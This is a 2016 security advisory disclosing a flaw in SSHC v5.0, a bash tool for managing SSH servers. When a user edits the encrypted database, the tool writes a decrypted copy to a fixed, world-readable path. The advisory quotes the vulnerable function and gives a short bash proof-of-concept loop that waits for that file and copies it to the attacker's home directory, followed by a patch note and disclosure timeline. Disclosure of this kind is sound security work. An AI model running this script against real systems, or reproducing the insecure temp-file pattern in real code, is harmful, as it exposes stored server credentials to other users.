######################################################################
# Exploit Title: SSHC v5.0 encrypted database content stealing
# Date: 03/06/2016
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: https://github.com/e2ma3n/sshc
# Version: 0.5
# Category: data theft
######################################################################

SSHC description :
======================================================================
When number of accesses to ssh gets high, managment gets hard, so in this time you can use this program for managing servers. By using this program you can select your server from menu and connect to server without password or add public ip address to server's firewall (iptables).
  
Vulnerabilities description :
======================================================================
SSHC v5.0 is vulnerable to encrypted database content stealing, this vulnerability target the main purpose of this usefull tool.

Poc n°1 : encrypted database content stealing
======================================================================
When a user wants to edit a database (represented as a encrypted file on the disk), sshc make a clear text copy of the encrypted database in a file with a hardcoded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" file from hsi hardcoded location.

The following part of the code is responsible of this vulnerability :

1 # edite database
2 function edit_db {
3  echo "$database_de" > /opt/sshc_v5/sshc.database.de
4  nano /opt/sshc_v5/sshc.database.de
5  echo -en "[+] encrypt new database, Please type your password: " ; read -s pass
6  openssl aes-256-cbc -pass pass:$pass -a -salt -in /opt/sshc_v5/sshc.database.de -out $database_en
7  rm -f /opt/sshc_v5/sshc.database.de &> /dev/null
8  echo -e "\n[+] Done, New database saved and encrypted"
9  echo '[+] ------------------------------------------------------------------- [+]'
10  exit 0
11 }

When a user wants to edit a database (represented as a encrypted file on the disk), sshc makes a clear text copy of the encrypted database in a file with a hard-coded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" clear text file from his hardcoded location.

Note that, with UNIX default umask configuration, the created file "/opt/sshc_v5/sshc.database.de" have the following permission "-rw-r--r--" wich allow it to be readed by all users.

This little bash script can be launched by another user that is on the same system that the victim:
#!/bin/bash
while [ ! -f /opt/sshc_v5/sshc.database.de ] ;
do
  sleep 1;
done
cp /opt/sshc_v5/sshc.database.de ~/sshc_database.de

It just wait for the file to be created and when it detect it, it just copy the file in the attacker home directory.

Moreover, this vulnerability can be exploited from a remote host if combined with a local fil inclusion in a web application (for example).

Solution: 
======================================================================
- Update your SSHC tool to the patched version

 
Additional resources :
======================================================================
- https://www.youtube.com/watch?v=6VA9Z0O9JBg
- https://www.information-security.fr/sshc-faille-decouverte-via-audit-de-code/
- https://github.com/e2ma3n/sshc

Report timeline :
======================================================================
2016-06-03 : Advisory submitted to editor
2016-06-15 : Vulnerability patch released on SSHC Github
2016-06-22 : Advisory public release

Credits :
======================================================================
Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

My Packet Storm Security profile : https://packetstormsecurity.com/files/author/12112/

--
SYNETIS 
CONTACT: www.synetis.com | www.information-security.fr